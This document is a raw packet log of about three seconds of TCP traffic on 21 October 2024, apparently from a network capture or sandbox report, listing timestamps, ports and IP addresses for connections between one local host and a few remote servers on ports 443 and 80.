Oct 21, 2024 13:17:51.884013891 CEST	443	49925	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.884028912 CEST	443	49925	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.884154081 CEST	49925	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.884203911 CEST	49925	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.884218931 CEST	443	49925	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.884233952 CEST	49925	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.884239912 CEST	443	49925	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.886792898 CEST	443	49926	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.886936903 CEST	443	49926	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.887006044 CEST	49926	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.887821913 CEST	49926	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.887845039 CEST	443	49926	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.887965918 CEST	49926	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.887973070 CEST	443	49926	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.888323069 CEST	49930	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.888365030 CEST	443	49930	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.888432026 CEST	49930	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.888834953 CEST	49930	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.888849974 CEST	443	49930	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.890494108 CEST	49931	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.890533924 CEST	443	49931	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:51.890618086 CEST	49931	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.890733004 CEST	49931	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:51.890748024 CEST	443	49931	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.009346008 CEST	80	49922	193.122.130.0	192.168.2.9
Oct 21, 2024 13:17:52.044296026 CEST	443	49927	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.044951916 CEST	49927	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.044970036 CEST	443	49927	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.045690060 CEST	49927	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.045696974 CEST	443	49927	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.053900003 CEST	49922	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:17:52.059463978 CEST	49932	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:52.059509993 CEST	443	49932	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:52.059714079 CEST	49932	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:52.063745975 CEST	49932	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:52.063767910 CEST	443	49932	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:52.167186975 CEST	443	49928	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.167645931 CEST	49928	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.167671919 CEST	443	49928	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.168092012 CEST	49928	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.168097973 CEST	443	49928	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.197138071 CEST	443	49927	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.197439909 CEST	443	49927	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.197530031 CEST	49927	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.197737932 CEST	49927	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.197737932 CEST	49927	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.197751045 CEST	443	49927	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.197760105 CEST	443	49927	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.200345993 CEST	49933	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.200376034 CEST	443	49933	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.200459003 CEST	49933	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.200598955 CEST	49933	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.200611115 CEST	443	49933	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.307554007 CEST	443	49928	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.307636976 CEST	443	49928	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.307765961 CEST	49928	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.308006048 CEST	49928	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.308029890 CEST	443	49928	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.308042049 CEST	49928	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.308048010 CEST	443	49928	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.310765982 CEST	49934	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.310815096 CEST	443	49934	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.310890913 CEST	49934	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.311024904 CEST	49934	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.311038971 CEST	443	49934	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.502142906 CEST	443	49929	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.502774954 CEST	49929	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.502805948 CEST	443	49929	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.503273964 CEST	49929	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.503282070 CEST	443	49929	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.614979029 CEST	443	49931	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.615489006 CEST	49931	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.615525007 CEST	443	49931	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.616143942 CEST	49931	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.616149902 CEST	443	49931	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.629808903 CEST	443	49930	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.630419016 CEST	49930	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.630450010 CEST	443	49930	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.630707026 CEST	49930	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.630713940 CEST	443	49930	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.636383057 CEST	443	49929	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.636452913 CEST	443	49929	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.636508942 CEST	49929	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.636729956 CEST	49929	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.636746883 CEST	443	49929	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.636756897 CEST	49929	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.636761904 CEST	443	49929	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.639682055 CEST	49935	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.639728069 CEST	443	49935	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.639874935 CEST	49935	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.640042067 CEST	49935	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.640055895 CEST	443	49935	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.696706057 CEST	443	49932	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:52.696783066 CEST	49932	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:52.699557066 CEST	49932	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:52.699565887 CEST	443	49932	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:52.699938059 CEST	443	49932	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:52.741291046 CEST	49932	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:52.745620966 CEST	443	49931	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.745677948 CEST	443	49931	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.745740891 CEST	49931	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.753422022 CEST	49931	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.753432989 CEST	443	49931	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.753438950 CEST	49931	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.753443003 CEST	443	49931	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.758840084 CEST	49932	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:52.760412931 CEST	49936	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.760433912 CEST	443	49936	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.760514975 CEST	49936	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.760647058 CEST	49936	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.760659933 CEST	443	49936	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.761284113 CEST	443	49930	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.761318922 CEST	443	49930	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.761364937 CEST	443	49930	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.761483908 CEST	49930	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.761483908 CEST	49930	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.761547089 CEST	49930	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.761547089 CEST	49930	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.761569977 CEST	443	49930	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.761580944 CEST	443	49930	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.763721943 CEST	49937	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.763747931 CEST	443	49937	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.763844967 CEST	49937	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.763962030 CEST	49937	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.763976097 CEST	443	49937	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.799333096 CEST	443	49932	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:52.899610043 CEST	443	49932	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:52.899688959 CEST	443	49932	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:52.899759054 CEST	49932	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:52.912080050 CEST	49932	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:52.915501118 CEST	49922	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:17:52.920885086 CEST	80	49922	193.122.130.0	192.168.2.9
Oct 21, 2024 13:17:52.924165964 CEST	443	49933	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.924729109 CEST	49933	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.924757004 CEST	443	49933	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:52.925194979 CEST	49933	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:52.925200939 CEST	443	49933	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.052243948 CEST	443	49933	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.052530050 CEST	443	49933	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.052757978 CEST	49933	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.052825928 CEST	49933	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.052841902 CEST	443	49933	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.052850962 CEST	49933	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.052855968 CEST	443	49933	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.056252956 CEST	49938	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.056298018 CEST	443	49938	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.056380987 CEST	49938	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.056561947 CEST	49938	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.056572914 CEST	443	49938	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.062026978 CEST	443	49934	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.062964916 CEST	49934	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.062980890 CEST	443	49934	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.063052893 CEST	49934	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.063060999 CEST	443	49934	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.196321964 CEST	443	49934	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.197536945 CEST	443	49934	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.197628975 CEST	49934	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.197843075 CEST	49934	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.197843075 CEST	49934	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.197860956 CEST	443	49934	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.197871923 CEST	443	49934	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.200623035 CEST	49939	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.200654984 CEST	443	49939	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.200726032 CEST	49939	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.200856924 CEST	49939	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.200870991 CEST	443	49939	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.298511982 CEST	80	49922	193.122.130.0	192.168.2.9
Oct 21, 2024 13:17:53.300971031 CEST	49940	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:53.301012039 CEST	443	49940	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:53.301101923 CEST	49940	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:53.301404953 CEST	49940	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:53.301418066 CEST	443	49940	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:53.350646019 CEST	49922	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:17:53.387820959 CEST	443	49935	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.388395071 CEST	49935	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.388422012 CEST	443	49935	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.388952017 CEST	49935	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.388957977 CEST	443	49935	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.511123896 CEST	443	49936	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.511656046 CEST	49936	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.511683941 CEST	443	49936	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.512180090 CEST	49936	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.512190104 CEST	443	49936	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.522696018 CEST	443	49935	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.522768021 CEST	443	49935	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.522990942 CEST	49935	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.523260117 CEST	49935	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.523281097 CEST	443	49935	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.523287058 CEST	49935	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.523293018 CEST	443	49935	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.523396015 CEST	443	49937	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.523876905 CEST	49937	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.523916960 CEST	443	49937	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.524324894 CEST	49937	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.524338961 CEST	443	49937	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.526705980 CEST	49941	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.526736975 CEST	443	49941	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.526835918 CEST	49941	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.527020931 CEST	49941	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.527041912 CEST	443	49941	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.645509005 CEST	443	49936	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.645570993 CEST	443	49936	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.645791054 CEST	49936	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.645864964 CEST	49936	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.645885944 CEST	443	49936	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.645896912 CEST	49936	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.645903111 CEST	443	49936	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.648926973 CEST	49942	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.648976088 CEST	443	49942	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.649092913 CEST	49942	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.649262905 CEST	49942	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.649276972 CEST	443	49942	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.696456909 CEST	443	49937	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.697432041 CEST	443	49937	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.697514057 CEST	49937	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.697633982 CEST	49937	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.697659969 CEST	443	49937	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.697686911 CEST	49937	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.697701931 CEST	443	49937	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.700692892 CEST	49943	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.700726986 CEST	443	49943	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.700835943 CEST	49943	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.700973034 CEST	49943	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.700985909 CEST	443	49943	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.792438984 CEST	443	49938	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.792978048 CEST	49938	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.792989969 CEST	443	49938	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.793450117 CEST	49938	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.793453932 CEST	443	49938	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.922954082 CEST	443	49938	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.924158096 CEST	443	49938	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.924276114 CEST	49938	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.924355030 CEST	49938	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.924355030 CEST	49938	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.924366951 CEST	443	49938	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.924375057 CEST	443	49938	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.926557064 CEST	443	49940	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:53.926814079 CEST	49944	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.926840067 CEST	443	49944	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.926897049 CEST	49944	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.927020073 CEST	49944	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.927042961 CEST	443	49944	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.929487944 CEST	49940	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:53.929503918 CEST	443	49940	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:53.953320026 CEST	443	49939	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.953859091 CEST	49939	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.953912020 CEST	443	49939	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:53.954286098 CEST	49939	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:53.954299927 CEST	443	49939	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.070209980 CEST	443	49940	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:54.070327044 CEST	443	49940	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:54.070384979 CEST	49940	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:54.070848942 CEST	49940	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:54.074131012 CEST	49922	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:17:54.075048923 CEST	49945	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:17:54.081562042 CEST	80	49945	193.122.130.0	192.168.2.9
Oct 21, 2024 13:17:54.081641912 CEST	49945	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:17:54.081959009 CEST	49945	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:17:54.087384939 CEST	80	49922	193.122.130.0	192.168.2.9
Oct 21, 2024 13:17:54.087459087 CEST	49922	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:17:54.088047981 CEST	80	49945	193.122.130.0	192.168.2.9
Oct 21, 2024 13:17:54.088298082 CEST	443	49939	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.088350058 CEST	443	49939	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.088440895 CEST	443	49939	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.088551044 CEST	49939	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.088551044 CEST	49939	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.088682890 CEST	49939	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.088732004 CEST	443	49939	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.088749886 CEST	49939	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.088773012 CEST	443	49939	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.091191053 CEST	49946	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.091201067 CEST	443	49946	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.091278076 CEST	49946	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.091408014 CEST	49946	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.091420889 CEST	443	49946	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.275237083 CEST	443	49941	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.275758028 CEST	49941	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.275767088 CEST	443	49941	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.276230097 CEST	49941	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.276235104 CEST	443	49941	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.395384073 CEST	443	49942	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.395994902 CEST	49942	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.396018982 CEST	443	49942	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.396439075 CEST	49942	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.396444082 CEST	443	49942	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.406071901 CEST	443	49941	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.406141996 CEST	443	49941	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.406204939 CEST	49941	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.406403065 CEST	49941	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.406424999 CEST	443	49941	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.406439066 CEST	49941	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.406445026 CEST	443	49941	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.409148932 CEST	49947	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.409188986 CEST	443	49947	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.409347057 CEST	49947	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.409528971 CEST	49947	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.409540892 CEST	443	49947	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.456382036 CEST	443	49943	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.457156897 CEST	49943	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.457166910 CEST	443	49943	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.457617044 CEST	49943	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.457622051 CEST	443	49943	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.529056072 CEST	443	49942	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.529087067 CEST	443	49942	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.529141903 CEST	443	49942	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.529145956 CEST	49942	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.529190063 CEST	49942	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.529331923 CEST	49942	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.529350996 CEST	443	49942	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.529361010 CEST	49942	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.529366970 CEST	443	49942	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.532372952 CEST	49948	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.532414913 CEST	443	49948	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.532556057 CEST	49948	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.532697916 CEST	49948	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.532717943 CEST	443	49948	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.593511105 CEST	443	49943	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.593575001 CEST	443	49943	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.593627930 CEST	49943	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.593843937 CEST	49943	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.593861103 CEST	443	49943	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.593872070 CEST	49943	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.593879938 CEST	443	49943	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.596888065 CEST	49949	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.596930027 CEST	443	49949	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.596996069 CEST	49949	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.597151995 CEST	49949	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.597163916 CEST	443	49949	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.672316074 CEST	443	49944	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.672940969 CEST	49944	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.672964096 CEST	443	49944	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.673441887 CEST	49944	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.673449993 CEST	443	49944	13.107.246.45	192.168.2.9
